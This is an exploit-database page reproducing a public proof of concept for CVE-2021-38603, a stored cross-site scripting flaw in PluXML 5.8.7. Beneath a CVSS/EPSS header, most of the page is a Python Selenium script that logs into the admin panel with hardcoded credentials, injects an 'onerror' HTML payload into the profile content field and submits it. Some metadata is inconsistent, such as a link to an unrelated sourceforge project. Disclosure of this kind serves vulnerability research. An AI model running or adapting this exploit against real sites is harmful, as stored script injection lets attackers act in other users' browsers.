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PluXML 5.8.7 Cross Site Scripting

CVE Category Price Severity
CVE-2021-38603 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-08-13
CPE
cpe:cpe:/a:pluxml_project:pluxml:5.8.7
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080049

Below is a copy:

PluXML 5.8.7 Cross Site Scripting
# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter "id_content"
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 08.13.2021
# Vendor: https://pluxml.org/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38603

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-2021-38603

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="
http://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/"

#enter your login username
username="nu11"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="login"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="blue"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

## Vulnerability parameter in profil.php "id_content"
## NOTE: The same problem is in the demo account in the online version
## https://www.softaculous.com/softaculous/demos/PluXml
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/PluXml/core/admin/profil.php"))


## The Exploit
browser.execute_script("document.querySelector('[name=\"content\"]').value=\"</span><img
src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
<a href=http://example.com/> onerror=alert(1) /><span>\"")

## submit the exploit
browser.execute_script("document.querySelector('[name=\"profil\"]').click()")

# exit if you want :D
browser.close()

print("The payload for CVE CVE-2021-38603 is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


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# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603
# Proof: https://streamable.com/5rf36u
# BR nu11secur1ty

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